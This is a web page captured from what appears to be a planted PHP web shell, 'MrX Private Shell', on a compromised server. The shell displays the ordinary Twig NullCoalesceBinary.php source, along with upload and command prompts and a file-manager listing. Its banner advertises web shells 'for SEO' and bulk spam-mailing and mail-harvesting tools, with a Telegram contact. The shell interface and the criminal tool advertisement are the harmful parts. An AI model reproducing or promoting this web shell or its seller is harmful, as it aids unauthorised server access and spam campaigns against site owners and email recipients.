__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/*
 * This file is part of Twig.
 *
 * (c) Fabien Potencier
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Twig\Node\Expression\Binary;

use Twig\Compiler;
use Twig\Node\EmptyNode;
use Twig\Node\Expression\AbstractExpression;
use Twig\Node\Expression\BlockReferenceExpression;
use Twig\Node\Expression\OperatorEscapeInterface;
use Twig\Node\Expression\Test\DefinedTest;
use Twig\Node\Expression\Test\NullTest;
use Twig\Node\Expression\Unary\NotUnary;
use Twig\Node\Node;
use Twig\TwigTest;

final class NullCoalesceBinary extends AbstractBinary implements OperatorEscapeInterface
{
    /**
     * @param AbstractExpression $left
     * @param AbstractExpression $right
     */
    public function __construct(Node $left, Node $right, int $lineno)
    {
        parent::__construct($left, $right, $lineno);

        $test = new DefinedTest(clone $left, new TwigTest('defined'), new EmptyNode(), $left->getTemplateLine());
        // for "block()", we don't need the null test as the return value is always a string
        if (!$left instanceof BlockReferenceExpression) {
            $test = new AndBinary(
                $test,
                new NotUnary(new NullTest($left, new TwigTest('null'), new EmptyNode(), $left->getTemplateLine()), $left->getTemplateLine()),
                $left->getTemplateLine(),
            );
        }

        $left->setAttribute('always_defined', true);
        $this->setNode('test', $test);
    }

    public function compile(Compiler $compiler): void
    {
        $compiler
            ->raw('((')
            ->subcompile($this->getNode('test'))
            ->raw(') ? (')
            ->subcompile($this->getNode('left'))
            ->raw(') : (')
            ->subcompile($this->getNode('right'))
            ->raw('))')
        ;
    }

    public function operator(Compiler $compiler): Compiler
    {
        return $compiler->raw('??');
    }

    public function getOperandNamesToEscape(): array
    {
        return ['left', 'right'];
    }
}

Filemanager

Name Type Size Permission Actions
AbstractBinary.php File 1.61 KB 0644
AddBinary.php File 434 B 0644
AndBinary.php File 435 B 0644
BinaryInterface.php File 438 B 0644
BitwiseAndBinary.php File 441 B 0644
BitwiseOrBinary.php File 440 B 0644
BitwiseXorBinary.php File 441 B 0644
ConcatBinary.php File 437 B 0644
DivBinary.php File 434 B 0644
ElvisBinary.php File 1.31 KB 0644
EndsWithBinary.php File 890 B 0644
EqualBinary.php File 821 B 0644
FloorDivBinary.php File 589 B 0644
GreaterBinary.php File 822 B 0644
GreaterEqualBinary.php File 827 B 0644
HasEveryBinary.php File 717 B 0644
HasSomeBinary.php File 715 B 0644
InBinary.php File 699 B 0644
LessBinary.php File 820 B 0644
LessEqualBinary.php File 824 B 0644
MatchesBinary.php File 1.33 KB 0644
ModBinary.php File 434 B 0644
MulBinary.php File 434 B 0644
NotEqualBinary.php File 824 B 0644
NotInBinary.php File 707 B 0644
NullCoalesceBinary.php File 2.05 KB 0644
OrBinary.php File 434 B 0644
PowerBinary.php File 415 B 0644
RangeBinary.php File 684 B 0644
SpaceshipBinary.php File 420 B 0644
StartsWithBinary.php File 894 B 0644
SubBinary.php File 434 B 0644
XorBinary.php File 436 B 0644
Filemanager